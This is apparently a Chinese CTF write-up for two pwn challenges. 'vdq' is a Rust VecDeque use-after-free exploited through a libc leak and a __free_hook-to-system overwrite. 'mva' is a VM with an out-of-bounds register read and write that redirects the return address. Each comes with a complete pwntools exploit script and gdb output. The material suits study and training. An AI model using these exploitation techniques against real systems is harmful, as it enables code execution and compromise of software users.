#7  0x00005555555780c7 in alloc::raw_vec::{{impl}}::drop<u8,alloc::alloc::Global> (self=0x555555a38440) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/raw_vec.rs:504
#8  0x000055555556bc3f in core::ptr::drop_in_place<alloc::raw_vec::RawVec<u8, alloc::alloc::Global>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#9  0x000055555556be45 in core::ptr::drop_in_place<alloc::vec::Vec<u8>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#10 0x0000555555567596 in core::ptr::drop_in_place<vdq::Note> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#11 0x00005555555671d8 in core::ptr::drop_in_place<alloc::boxed::Box<vdq::Note>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#12 0x00005555555674a7 in core::ptr::drop_in_place<[alloc::boxed::Box<vdq::Note>]> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#13 0x00005555555678eb in alloc::collections::vec_deque::{{impl}}::drop<alloc::boxed::Box<vdq::Note>> (self=0x7fffffffd860) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/collections/vec_deque.rs:171
#14 0x0000555555567512 in core::ptr::drop_in_place<alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#15 0x00005555555622d9 in vdq::handle_opr_lst (opr_lst=...) at src/main.rs:106
#16 0x00005555555625cb in vdq::main () at src/main.rs:111

然后定位崩溃的位置

.text:000000000000E2CC loc_E2CC:                               ; CODE XREF: vdq::handle_opr_lst::h7fb2393547b96358+7DA↑j
.text:000000000000E2CC                 lea     rdi, [rsp+80h]  ; alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> *
.text:000000000000E2D4                 call    _ZN4core3ptr13drop_in_place17hc78e8b893c128756E ; core::ptr::drop_in_place::hc78e8b893c128756
.text:000000000000E2D9                 jmp     short $+2

查了一下drop_in_place会释放掉内存,这里的这个container里面存了vdq::Note,推断很有可能一个容器里一个note出现了不止一次或者一个note同时出现在两个容器(notes和archived_notes) 接下来缩减一下fuzz得到的poc,首先考虑的是View,直觉上看view的功能应该只是打印一下内容,不会对触发漏洞造成太大的影响,但是从poc里去掉View了之后,崩溃就消失了,那么View很可能有重要的影响。

所以调整一下fuzzer,只使用三个操作Add, Remove, View,并且设定前几个操作只能Add,然后继续fuzz

["Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add"]
$
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A
Aa
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
Aa0A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2

拿到的一个比较好看的poc,之后的exp也是基于它编写

看看View的实现

      case 4u:
        core::fmt::Arguments::new_v1::h44adc30b070cf8c4(
          &v43,
          (___str_)__PAIR128__(1LL, &off_7BBC0),
          (__core::fmt::ArgumentV1_)((unsigned __int64)&needle.data_ptr + 7));
        std::io::stdio::_print::h0d31d4b9faa6e1ec();
        alloc::collections::vec_deque::VecDeque$LT$T$GT$::make_contiguous::he6debc29b2205434(
          (_mut__alloc::boxed::Box<vdq::Note>_ *)&notes,
          (alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> *)&off_7BBC0);
        p_notes = (unsigned __int64)&notes;
        alloc::collections::vec_deque::VecDeque$LT$T$GT$::iter::h0cc194c5561ce1ed(&v44, &notes);
        core::iter::traits::iterator::Iterator::for_each::h73567d402a60c07d(v10, (vdq::handle_opr_lst::closure_0)&v44);
        break;

看不懂,这里分别搜索printiterator::for_eachmake_contiguous的vulnerability,搜到了 CVE-2020-36318. 根据容器的结构继续分析

00000000 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> struc ; (sizeof=0x20, align=0x8, copyof_185)
00000000                                         ; XREF: _ZN3vdq14handle_opr_lst17h7fb2393547b96358E/r
00000000 tail            dq ?
00000008 head            dq ?
00000010 buf             alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> ?
00000010                                         ; XREF: vdq::handle_opr_lst::h7fb2393547b96358:loc_DC0C/o
00000020 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> ends
00000020

通过调试可以发现,deque的初始容量是4,当容器满后,capacity会翻倍,tail指向低地址尾部,head指向高地址头部

gef➤  x/3xg $rdi
0x7ffc94dee2a0: 0x0000000000000000      0x0000000000000002
0x7ffc94dee2b0: 0x000055c3e6e5ffa0

gef➤  x/4xg 0x7ffc94dee2a0
0x7ffc94dee2a0: 0x0000000000000000      0x0000000000000004
0x7ffc94dee2b0: 0x000055c3e6e600f0      0x0000000000000008

同时可以发现,pop之后,容器对应的index不会立刻清除,而是移动了tail

gef➤  x/4xg $rdi
0x7ffe849e3740: 0x0000000000000001      0x0000000000000003
0x7ffe849e3750: 0x00005607f06c2fb0      0x0000000000000004
gef➤  x/16xg 0x00005607f06c2fb0
0x5607f06c2fb0: 0x00005607f06c2fe0      0x00005607f06c3030
0x5607f06c2fc0: 0x00005607f06c3080      0x0000000000000000

调试poc,观察view前后的变化

gef➤  x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002      0x0000000000000001
0x7ffc84bda950: 0x0000555a63576f80      0x0000000000000004
0x7ffc84bda960: 0x0000000000000008      0x0000000000000000
0x7ffc84bda970: 0x0000000000000000      0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0      0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0      0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0      0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a      0x0000555a63576ea0
gef➤  x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020      0x0000555a63577020
0x555a63576f90: 0x0000555a63577070      0x0000555a63576fd0

gef➤  x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000001      0x0000000000000004
0x7ffc84bda950: 0x0000555a63576f80      0x0000000000000004
0x7ffc84bda960: 0x0000000000000008      0x0000000000000000
0x7ffc84bda970: 0x0000000000000000      0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0      0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0      0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0      0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a      0x0000555a63576ea0
gef➤  x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020      0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0      0x0000555a63577020
0x555a63576fa0: 0x0000000000000000      0x0000000000000021
0x555a63576fb0: 0x0000000000000a61      0x0000000000000000
0x555a63576fc0: 0x0000000000000000      0x0000000000000031
0x555a63576fd0: 0x0000000000000001      0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0      0x0000000000000008
0x555a63576ff0: 0x0000000000000001      0x0000000000000021
gef➤  

gef➤  x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002      0x0000000000000004
0x7ffc84bda950: 0x0000555a63576f80      0x0000000000000004
0x7ffc84bda960: 0x0000000000000008      0x0000000000000000
0x7ffc84bda970: 0x0000000000000000      0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0      0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0      0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0      0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a      0x0000555a63576ea0
gef➤  x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020      0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0      0x0000555a63577020
0x555a63576fa0: 0x0000000000000000      0x0000000000000021
0x555a63576fb0: 0x0000000000000a61      0x0000000000000000
0x555a63576fc0: 0x0000000000000000      0x0000000000000031
0x555a63576fd0: 0x0000000000000001      0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0      0x0000000000000008
0x555a63576ff0: 0x0000000000000001      0x0000000000000021
gef➤  

gef➤  x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002      0x0000000000000001
0x7ffc84bda950: 0x0000555a63576f80      0x0000000000000004
0x7ffc84bda960: 0x0000000000000008      0x0000000000000000
0x7ffc84bda970: 0x0000000000000000      0x0000000000000006
0x7ffc84bda980: 0x0000555a63576ea0      0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0      0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0      0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a      0x0000555a63576ea0
gef➤  x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020      0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0      0x0000555a63577020    # 出现两个一样的地址
0x555a63576fa0: 0x0000555a63577070      0x0000000000000021
0x555a63576fb0: 0x0000000000000a61      0x0000000000000000
0x555a63576fc0: 0x0000000000000000      0x0000000000000031
0x555a63576fd0: 0x0000000000000001      0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0      0x0000000000000008
0x555a63576ff0: 0x0000000000000001      0x0000000000000021
gef➤  

综上(虽然不知道漏洞具体的细节)但是我们可以得到利用策略如下

  • UaF一个大chunk,View得到libcbase,freehook,system等等地址
  • 再次UaF,利用输入时的get_raw_line会申请一块地址存放输入数据的特性,控制大小,申请到一个vdq::Note(并且由于UaF,这个Note现在处于使用中),修改掉对应的buffer的地址到freehook上,注意要加一个偏移量,因为append会在buffer的后面添加数据,让buffer的末尾刚好在freehook就行
  • 使用Append,修改freehook为system,然后随便使用一个会调用get_raw_line的功能,输入/bin/sh即可。

完整exp

from pwn import *
 
sh = process("./vdq")
 
op = """
[
    "Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add", "Remove", "Remove", "View",
    "Add", "View", "Remove", "Append", "Append", "View", "Add", "Remove", "View"
]
$
"""
 
# "Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add", "Remove", "Remove", "View", UaF a big chunk
# "Add", "View", "Remove", "Append", "Append", "View", "Add", "Remove", "View"
# Add:    create new note at index 1(UaF index 0)
# Remove: Remove index 0
# Append: use append to allocate vdq::Note(at index 1) from tcache
#         change the buffer pointer
# Append: append again to write freehook
# Add:    profit
 
sh.send(op.encode())
sleep(1)
sh.sendline(b"a"*0x1)
sh.sendline(b"b"*0x1)
sh.sendline(b"c"*0x1)
sh.sendline(b"d"*0x1)
sh.sendline(b'e'*0x800)
sh.sendline(b'f'*0x300)
 
sh.recvuntil(b"Removed note [5]")
sh.recvuntil(b"-> ")
ret = sh.recv(12).decode()
addr = ret[-2:]+ret[-4:-2]+ret[-6:-4]+ret[-8:-6]+ret[-10:-8]+ret[-12:-10]
addr = int(addr, 16)
log.success("leak addr: " + hex(addr))
libcaddr = addr - 0x3ebca0
freehook = libcaddr + 0x3ed8e8
freehook_offset = freehook - 0x2a # offset
system = libcaddr + 0x4f420
log.success("libc addr: " + hex(libcaddr))
log.success("freehook: " + hex(freehook))
 
sh.sendline(b'a'*5) # to tcache[0x340]
sh.sendline(p64(freehook_offset) * 3 + p64(0))
sh.sendline(p64(system))
sh.sendline(b'/bin/sh')
 
sh.interactive()
 

mva

给定的程序实现了一个vm,指令长度4 bytes,可以发现,在mul时没有检测操作数大小,导致越界读取

      case 0xDu:
        if ( BYTE2(instruction) >= 6u )
          exit(0);
        if ( (unsigned __int8)instruction >= 6u )
          exit(0);
        reg[SBYTE2(instruction)] = reg[SBYTE1(instruction)] * reg[(char)instruction];
        break;
movsx   eax, [rbp+var_249]

从汇编可以看出,可以传入负数,然后读出栈上的其它数据,然后再看

      case 0xEu:
        if ( BYTE2(instruction) >= 6u )
          exit(0);
        if ( SBYTE1(instruction) > 5 )
          exit(0);
        reg[SBYTE1(instruction)] = reg[SBYTE2(instruction)];
        break;

这里对第一个操作数的大小检查带符号,所以可以用负数绕过,达到越界写,这样我们可以覆盖虚拟机栈指针,虽然这只能写入一个负数,但是通过

mov     [rbp+rax*2+stack], dx

rax*2可以引发整数溢出,再次把数值变为正数,从而将虚拟机栈顶指向返回地址,完整exp如下

from pwn import *
 
sh = process('./mva')
 
def load(reg, val):
    command = p8(0x01) + p8(reg) + p8(val >> 8) + p8(val & 0xFF)
    return command
 
def add(reg, op1, op2):
    command = p8(0x02) + p8(reg) + p8(op1) + p8(op2)
    return command
 
def sub(reg, op1, op2):
    command = p8(0x03) + p8(reg) + p8(op1) + p8(op2)
    return command
 
def mul(reg, op1, op2):
    command = p8(0x0D) + p8(reg) + p8(op1) + p8(op2)
    return command
 
def mov(reg, op1, op2):
    command = p8(0x0E) + p8(op2) + p8(op1) + p8(op2)
    return command
 
def push():
    command = p8(0x09) + p8(0) * 3
    return command
 
def pop():
    command = p8(0x0A) + p8(0) * 3
    return command
 
def view():
    command = p8(0xf) + p8(0) * 3
    return command
 
def inverse(num):
    return (~(num-1) & 0xFF)
 
payload  = load(0, 0x1)              # reg[0] = 0x1
payload += mul(0, inverse(124), 0)   # reg[0] = reg[-124] * reg[0]
 
payload += load(0, 0x1)              # reg[0] = 0x1
payload += mul(0, inverse(122//2), 0)# reg[0] = reg[-125] * reg[0]
payload += load(2, 0x0006)           # reg[2] = 0x0011
payload += add(1, 0, 2)              # reg[1] = reg[0] + reg[2]
 
payload += load(0, 0x1)              # reg[0] = 0x1
payload += mul(0, inverse(124//2), 0)# reg[0] = reg[-126] * reg[0]
payload += load(3, 0xf567)           # reg[3] = 0x9b72
payload += add(2, 0, 3)              # reg[2] = reg[0] + reg[3]
 
 
# payload += pop()
payload += load(0, 0x8000)           # reg[0] = 0x8000
payload += mov(0, inverse(0x07), 0)  # reg[-0x07] = reg[0]
payload += load(0, 0)                # reg[0] = 0
payload += mov(0, inverse(0x08), 0)  # reg[-0x08] = reg[0]
payload += load(0, 0)                # reg[0] = 0
payload += mov(0, inverse(0x09), 0)  # reg[-0x09] = reg[0]
payload += load(0, 0x010c)           # reg[0] = 0x10c
payload += mov(0, inverse(0x0a), 0)  # reg[-0x0a] = reg[0]
 
payload += mov(0, 0, 2)              # reg[0] = reg[2]
payload += push()                    # push reg[0]
payload += mov(0, 0, 1)              # reg[0] = reg[1]
payload += push()                    # push reg[0]
 
# 0x1ed6a0 0x845ca
 
payload += (0x100 - len(payload)) * b'\x00'
print(payload)
 
sh.sendline(payload)
 
sh.interactive()